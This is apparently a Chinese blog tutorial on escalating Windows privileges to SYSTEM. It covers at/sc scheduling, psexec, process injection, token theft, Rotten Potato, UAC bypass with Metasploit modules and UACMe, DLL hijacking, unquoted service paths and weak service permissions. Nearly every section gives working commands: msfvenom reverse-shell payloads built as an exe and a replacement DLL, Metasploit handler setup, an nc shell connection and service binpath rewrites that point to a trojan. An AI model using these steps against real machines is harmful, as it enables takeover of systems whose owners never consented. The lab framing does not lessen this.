??在之前的文章中已經對Windows的權限提升進行了介紹,這里同樣不再贅述,如果想要去了解Windows權限提升可以看以下的文章,同時也將Windows權限提升其它的幾種辦法也放在下面的文章中。
??同時本來應該還寫一篇第三方全家提權的,但是在實際測試過程中發現,有些第三方提權,如果在電腦上都會自動更新,比如向日葵,低版本的直接無法連接向日葵官方的服務器,那么提個毛權限的啊。
??Windows權限提升—溢出提權
??Windows權限提升—MySQL數據庫提權
??Windows權限提升 —SQL Server/MSSQL數據庫提權
??at 是一個發布定時任務計劃的命令行工具,語法比較簡單。通過 at 命令發布的定時任務計劃, Windows 默認以 SYSTEM 權限運行。
??at本地命令提權主要是用于在Windows2000、Windows 2003、Windows XP 這三類系統中,我們可以輕松將 Administrators 組下的用戶權限提升到 SYSTEM。
??其它系統已經不支持提權了。
語法:at 時間 命令
例子:at 10:45PM calc.exe
??這里可以模擬一下操作提權,使用2003系統,設定一個定時任務,設定10:45分啟動cmd .exe,這里可以通過添加“/interactive”開啟界面交互模式。
??通過執行定時任務后就會提升權限。
at 10:45 /interactive cmd
??可以在msf下生成一個木馬文件,然后在shell交互中設置at命令進行執行程序,上線后即為system權限。
??通過命令生成一共木馬文件,然后將這個木馬文件放入2003中去執行,這里其實就是模擬在上傳webshell后,上傳后門木馬文件,然后執行木馬文件,只是這里為了方便節省了,直接上傳一個木馬即可。
??至于運行木馬就不演示了。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.20 LPORT=4444 -f exe > shell.exe
??這里設置一個監聽,用于接收反彈回來的shell。
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.10.20
set LPORT 4444
run
??這里在接收到msf木馬反彈回來的shell后,進入shell后執行下面的命令。
at 11:11 C:1\shell.exe
??通過另外再啟動一個監聽端口的,來查看新反彈回來的權限是什么,可以看到到11點11分的時候執行shell.exe,反彈回來的就是system權限。
getuid
??sc是用于與服務控制管理器和服務進行通信的命令行程序,提供的功能類似于控制面板中管理工具項中的服務。
??網上說在windows 7/8,Windows server2003、2008、2012、2016上都能使用,這里的都能只適用于sc這條命令本身。
??而利用sc進行提權,通過測試,目前好像只有2003可以。
sc Create systemcmd binPath="cmd /K start" type=own type=interact #其中systemcmd是服務名稱,大家可以隨意填寫,binpath是啟動的命令,type=own是指服務這個服務屬于誰,type=interact,cmd/k start 這個命令,這個命令就是啟動一個新的cmd窗口。
sc start syscmd ###啟動服務!
??這里就是先執行第一條命令,然后在執行第二條命令即可,這里我執行失敗是由于我之前已經測試過了,正常情況下應該是第一條命令執行后顯示成功。第二條就是這樣的,這不不受之前測試的影響。
??pstools是微軟官方工具,是為windows提供的第三方工具庫。
??在Windows server 2003/2008/2012/2016中測試都是能用的,在Windows 7/8/10由于需要調用服務,而個人主機通常沒有這類服務所以就會出現調用失敗的情況。
??PsTools:PsTools - Sysinternals | Microsoft Learn
psexec.exe -accepteula -s -i -d cmd.exe ##前面的psexec.exe是工具包中的工具
??通過頁面上的下載tool工具集合,在壓縮包中找到psexec.exe工具。
??將psexec.exe工具上傳至需要提權的系統中,然后執行命令。
??進程遷移注入提權就是將獲取到權限低的進程注入至進程中權限高的中,這樣就實現了權限提升,同時注入進程提權相當于開啟了一個后門, 隱蔽性極高,不會創建新的進程,很難發現。
??這里如果使用的是web權限是無法執行的,必須獲取到類似與administrator的權限才能進行進程注入。同時這類提權是不會被殺毒軟件攔截的,這是系統的一種特性。
??pinjector工具實現進程注入,這里需要先下載工具,然后將工具上傳需要提權的系統中即可。
??pinjector工具:Tarasco Security: Process Injector
pinjector.exe -l ##列取所有進程
pinjector.exe -p <pid> cmd <port> ##選擇一個system權限運行的進程,對此pid進程執行注入,并建立偵聽端口
??這里通過命令查看所有進程的權限。
??通過使用命令將權限綁定至system權限的進程中,這里選在進程最好綁定系統進程,這樣能夠實現開機自啟。
??這里使用kali設置個nc連接一下即可。
nc -nv 192.168.10.200 5555
??首先需要生成一個木馬然后讓其上線,并連接上去,這里我就用之前已經生成好的木馬,就不再生成了,在上面也提到過MSF生成木馬的命令。
??在反彈回來的界面輸入命令,然后查看所有進程已經相應的權限。
ps ##查看進程
??使用命令將進程遷移進擁有system權限的進程中,通過遷移后,再執行命令就可以看到權限已經提升為system了。
migrate PID 遷移進程,這個pid是你選擇進程的id號
??令牌(token)是系統的臨時秘鑰,相當于賬號和密碼,用來決定是否允許這次請求和判斷這次請求是屬于哪一個用戶的。它允許你在不提供密碼或其他憑證的前提下,訪問網絡和系統資源,這些令牌將持續存在于系統中,除非系統重新啟動。令牌最大的特點就是隨機性,不可預測,黑客或軟件無法猜測出令牌。
??而令牌竊取就是通過假冒一個網絡中的另一個用戶進行各類操作。
??不能保證所有的服務器都能實現令牌竊取,比如我使用Windows server 2003服務器的時候,就沒出現NT AUTHORITY\SYSTEM,而沒出現NT AUTHORITY\SYSTEM就無法提權到system權限。
??首先需要將木馬上傳至需要提權的服務器中,然后執行命令進行令牌竊取提權。
use incognito
list_tokens -u #列出有的令牌
impersonate_token "NT AUTHORITY\SYSTEM" #竊取system令牌
??爛土豆(Rotten Potato) MS16-075 提權是一個本地提權,只針對本地用戶,不支持域用戶。
??欺騙 “NT AUTHORITY\SYSTEM”賬戶通過NTLM認證到我們控制的TCP終端,對這個認證過程使用中間人攻擊(NTLM重放),為“NT AUTHORITY\SYSTEM”賬戶本地協商一個安全令牌。這個過程是通過一系列的Windows API調用實現的,模仿這個令牌。只有具有“模仿安全令牌權限”的賬戶才能去模仿別人的令牌。一般大多數的服務型賬戶(IIS、MSSQL等)有這個權限,大多數用戶級的賬戶沒有這個權限。
??Windows 7/8/10,Windows server 2008/2012
windows-kernel-exploits/MS16-075 at master · SecWiki/windows-kernel-exploits · GitHub
??這里首先需要將爛土豆工具給上傳至需要提權的機器中,然后進行執行。
??這里網上的教程需要先查看一些條件,我個人的理解是,不如直接進行提權,能成功則能成功,不能成功那就是不能成功,且在現實的環境中,很多提權都會遇到問題。
??首先執行potato.exe程序,然后再去加載incoginto功能,其次列出目標機器可竊取的令牌,然后在進行竊取。
execute -cH -f ./potato.exe ##執行爛土豆程序
use incognito ##加載竊取功能
list_tokens -u ##查看可竊取的令牌
impersonate_token "NT AUTHORITY\SYSTEM" ##使用令牌
??這個提權其實很簡單,這個MSF自動化提權和之前在溢出提權中提到的自動化提權是不一樣的,溢出提權中提到的自動化提權是通過比對補丁信息進行提權,而這個是自動化提權是直接輸入命令后,MSF自動執行,只會顯示提權成功與失敗。
??這里和其它都是一樣的,首先需要將木馬連接上msf,然后輸入命令進行提權。
getsystem ##自動化提權
??UAC(User Account Control,用戶帳戶控制)是微軟為提高系統安全而在Windows Vista中引入的新技術,它要求用戶在執行可能會影響計算機運行的操作或執行更改影響其他用戶的設置的操作之前,提供權限或管理員?密碼。
??也就是說一旦用戶允許啟動的應用程序通過UAC驗證,那么這個程序也就有了管理員權限。如果我們通過某種方式劫持了通過用戶UAC驗證的程序,那么相應的我們的程序也就實現了提權的過程。
??這里在反彈回來的時候測試一下getsystem是否無法提權。
??這里先搜索uac,因為這里面有些uac可能對不同的系統會有不同的作用。
search uac ##搜索
??這里我們使用的是Windows7,那么我們就使用exploit/windows/local/ask來執行。
use exploit/windows/local/ask ##選擇模塊
sessions ##查看后臺進程
set session 1 ##選擇進程
set lport 5555 ##設置監聽端口,有時候返回回來會出現錯誤,所以就另起一個監聽。
??這里查看一下監聽,看看返回的權限,然后在返回的權限中再次使用getsystem,發現能夠提權到system權限。
??關于Windows提權應該這篇總結完就結束了,再次提醒一下關于第三方軟件或插件提權,不是不寫,而且有些軟件都會自動更新,很多漏洞基本上很少遇到,同時也利用不了,比如說:向日葵有一個版本能夠提權,但是現在那個版本裝再電腦上,根本連接不上向日葵的服務器,更何談提權呢,同時還可以看日志,目前日志也更改了,端口不會再日志中出現了。
??前面幾篇文章我就匯總在下面了,同時關于UAC提權之前一篇文章寫的沒那么細,這里重新補充一下。
??Windows權限提升—令牌竊取、UAC提權、進程注入等提權
??Windows權限提升 —SQL Server/MSSQL數據庫提權
??Windows權限提升—MySQL數據庫提權
??Windows權限提升—溢出提權
??UAC(User Account Control,用戶賬號控制)是微軟為了提高系統安全性在Windows Vista中引入的技術。UAC要求用戶在執行可能影響計算機運行的操作或在進行可能影響其他用戶的設置之前,擁有相應的權限或者管理員密碼。UAC在操作啟動前對用戶身份進行驗證,以避免惡意軟件和間諜軟件在未經許可的情況下在計算機上進行安裝操作或者對計算機設置進行更改。
??在Windows Vista及以后的版本中,微軟設置了安全控制策略,分為高、中、低三個等級。高等級的進程有管理員權限;中等級的進程有普通用戶權限;低等級的進程,權限是有限的,以保證系統在受到安全威脅時造成的損害最小。在權限不夠的情況下,訪問系統磁盤的根目錄、Windows目錄,以及讀寫系統登錄數據庫等操作,都需要經常UAC(User Account Control,用戶賬號控制)的認證。
??這里我就不演示如何設置監聽與生成木馬了,在前面的文章中都提到相關的操作。
??這里是基于默認等級的哦,如果被設置為最高的話,那就涼涼了,因為需要人為去點擊,但是我們正常需要提權都是由于我們獲取的權限太低,或者遠程桌面打不開,你如何去點擊,都無法點擊了,何談提權。
??這里的UAC狀態是默認,也就是中等級別,至于打開這個UAC可以在運行框中輸入"msconfig",然后工具一欄就能看到更改UAC設置。
??一般UAC關閉的情況下使用getsystem就能夠提權成功。
??這里在嘗試使用getsystem提權,發現無法提權,那么就需要使用UAC進行繞過了。
background ##將會話置于后臺,不然會在使用bypass的找不到會話。
??這里能夠看到有很多的UAC繞過的bypass方式,但是這里面是分不同Windows版本的,有的可能在Windows7上能用,有的可能就不能用,不過最好選擇日期靠近的,這樣成功率大一點。
search uac ##搜索
use exploit/windows/local/bypassuac ##選擇bypass
sessions ##選擇會話
set session 1 ##設定會話
set lport 5555 ##設定反彈端口,這里不設置也可以,但是有時候直接反彈回來,會出現反彈不成功的情況。
run ##執行
??通過反彈回來的效果能夠看到,成功提權了。
??這里還是使用默認的UAC等級進行提權。
??可以看到,這里同樣是提權失敗。
??這里我也是嘗試了好幾個bypass才成功的,環境不同,可能使用到的bypass也是不同的,有些bypass需要也能提權,但是需要點擊確定,所以多嘗試嘗試。
use exploit/windows/local/bypassuac_silentcleanup ##選擇模塊
sessions ##選擇會話
set session 5 ##設置會話
set lport 6666 ##設置監聽端口
run ##執行
??這里能夠看到是成功提權了。
??這里我就不搭建WEB環境了,UACMe提取可以在低權限的時候提權,但是同樣在UAC設置為高的時候同樣也是無法進行直接提權的,需要人為的去點擊確定才可以。
??UACMe工具涵蓋了Windows7-11以及server服務器系統均可以提權。
??同時這里我就演示個Windows10系統的,至于Windows7肯定要比Windows10好提權。
注意想要使用這個工具需要對其進行編譯成功.exe文件,而我這里沒有最新的.exe文件,這里給個老版的,但是也沒差到哪里去,具體使用的介紹建議去GitHub上自己看。
??UACMe:GitCode - 開發者的代碼家園
??百度網盤UACMe:https://pan.baidu.com/s/1Tt-s2kluGJTr0hGwFR6y7w?pwd=86lm
提取碼:86lm
??這里在下載完UACMe的時候,里面會有兩個exe執行文件,一個是32位的,一個是64位的,按照不同的系統位數,放入不同的exe文件進行執行。
??注意這里彈出的窗口只是演示,在實際的環境中,我們無法登錄桌面,可以使用改工具去運行木馬后門,讓其上線即可。
??至于編號,新版的UACMe里包含70余種,可以一個一個嘗試。
語法:Akagi64.exe 編號
??這里同樣我們監聽一下端口,并且利用工具進行反彈上線。
語法:Akagi64.exe 編號 后門程序地址
??這里反彈上來的可能還是普通管理員權限,這里可以使用getsystem進行再次提權,可以看到成功提權。
??Windows 程序啟動的時候需要 DLL。如果這些 DLL 不存在,則可以通過在應用程序要查找的位置放置惡意 DLL 來提權。通常,Windows 應用程序有其預定義好的搜索 DLL 的路徑。
??它會根據下面的順序進行搜索:
1、應用程序加載的目錄
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、當前工作目錄 Current Working Directory,CWD
6、在 PATH 環境變量的目錄(先系統后用戶)
??程序運行一般會加載系統dll或本身程序自帶的dll,如果我們將程序執行時需要加載的dll文件替換成程序,那么我們下次在啟動程序時所加載的dll就是我們替換的那個木馬程序了。
??這里會出現一個問題,沒有遠程桌面我們如何收集,這里其實有個很簡單的辦法就是,通過上線普通木馬后,看看能不能查看有存在哪些服務,然后找到相關服務本地安裝,安裝后使用火絨劍等工具進行查找加載的dll文件即可。
??像系統文件加載的dll我們是動不了的,我們一般能懂的都是未知文件和數字簽名文件。
??這里我們選中libeay32.dll文件,我們就制作這個木馬。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.20 lport=5566 -f dll >libeay32.dll
??這里將生成的dll文件替換原本的dll。
??運行軟件,不過需要注意的是,在實際環境中由于我未獲取到桌面權限,所以需要等待管理員去運行,同時由于我們替換了dll文件,所以會導致管理員在運行軟件的時候會出現無響應的情況,這時無法保證,管理員會卸載重新安裝。
??這里設置監聽,當管理員去運行軟件的時候就會上線,像上面提到的,當軟件不能用了,無法保證管理員不會卸載重裝或者重啟電腦,所以在獲取權限后需要及時的移植到其它進程上面。
??可以看到的是成功上線了。
??我這里沒有提權成功,可能是由于系統問題,但是調試了半天也沒成功,這也能夠證明不是所有提權方式都是能夠百分比提權成功的,這里也只是演示,可以用這個方式進行提權。
??前面的分析與劫持等步驟就不在贅述了,直接看案效果把。
??可以看到這里使用Windows2012就能夠成功提權,所以之前提到的有些提權方式是根據不同系統可能有不同的效果。
??注意提權方式和操作系統版本等都沒有任何關系。
??當Windows服務運行時,會發生以下兩種情況之一。如果給出了可執行路徑,并且引用了完整路徑,則系統會按字面解釋它并執行。但是,如果服務的二進制路徑未包含在引號中,則操作系統將會執行找到的空格分隔的服務路徑的第一個實例。
??不過這個確實局限性還是很大的,比如虛擬機中沒有找到這樣的情況,實體機沒有找到,客戶現場機器也沒找到…同時還有一個問題是就算有,很多都是在C盤中,如果基本權限不夠大,那么也涼涼,也用不了。
??這里的圖片我借用一下其它博客的,由于我自己電腦以及其它電腦,虛擬機都沒有這樣的路徑。
次序執行
c:\program.exe
c:\program files.exe
c:\program files (x86)\grasssoft\macro.exe
c:\program files (x86)\grasssoft\macro expert\MacroService.exe
??而通過下面的語句可以判斷系統中是否存在這類問題,這里找到不代表就一定會存在問題,你看下面的圖片明顯無法進行替換。
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\" |findstr /i /v """
??這里由于我的虛擬機中并沒有這樣的路徑,而且不好模擬,所以這里主要就是將一下流程,我們就按照第一張圖片上的案例來演示。
c:\program files (x86)\grasssoft\macro expert\MacroService.exe ##獲取到存在問題的路徑
??上面是獲取到的錯誤路徑,這里我們可以看到空格是在c:\program后面,那么我們生成一個木馬,然后將木馬名字改為:program.exe,并且發入C盤的根目錄下。
??這里放入C盤的原因是,服務器進行重啟的時候,會按照上面的路徑去尋找,而第一步就是找到C盤,同時又沒有引號,那么當遇到program.exe的時候就會執行。
??這里只需要讓服務重啟就可以了,不過這里同時遇到一個問題就是,當實際環境中是需要管理員去重啟服務,或者重啟服務器的時候啟動,這樣才能上線,不過一般這個上線就是system權限。
??這里我就不演示了,主要沒有那個條件,整體的流程就是這樣的。
??Windows服務有時被配置為與服務本身或與服務運行的目錄相關的弱權限。這可能允許攻擊者操縱服務,以便在其啟動時執行任意代碼,并將權限提升到SYSTEM。
??將服務的 binpath 更改為我們上傳的木馬文件路徑,以便在服務啟動時執行惡意代碼從而獲得system權限,這里可以利用accesschk.exe工具輔助實現。
??accesschk是一個windows系統配置檢查工具,用于查看文件、注冊表項、服務、進程、內核對象等的有效權限。該工具將有助于識別當前用戶是否可以修改某個服務目錄中的文件,由于它是微軟官方出品,我們將其上傳至靶機,執行不會受到阻礙。
AccessChk - Sysinternals | Microsoft Learn
??這里將下載下來的工具上傳至靶機中,這里我使用Windows server2012做演示。這里我為了測試方便,直接在靶機中去操作,而實際環境中可能需要在webshell工具中去操作。
??還需要注意的是第一次執行accesschk.exe會跳出一個提示窗口讓我們接受許可,我們執行命令繞過以自動接受。
accesschk.exe /accepteula
??檢測服務權限配置:執行命令檢測,檢測當前用戶可以操作的服務項,注意當前用戶操作的服務項,需要先判斷自己獲取到的權限是什么,然后去執行。
accesschk.exe -uwcqv "Administrators" *
??這里通過修改服務路徑的指向來執行后門木馬程序的路徑。
sc config "napagent" binpath="C:Users\Public\Downloads\shell.exe"
??注意這里設置完后,需要開啟監聽哦,然后重啟服務,但是在實際的環境中是需要管理員對服務進行重啟,需要等待的。
sc start napagent
??我這里沒有像別人一樣反彈回來就是system權限,我又進行提權了一下,把權限提成system,如果能夠配合之前提到檢查哪些服務是system權限進行修改,可能效果會更改,當然也會存在局限性。
??同時也又可能是由于我選錯服務了,演示的時候可以多試試,或者百度搜一下對應的服務,找找相關的資料。
??同時還又一個問題就是,提權完的會話容易掉線,服務啟動不了后,系統再結束啟動后,就會離線,所以需要盡快遷移會話。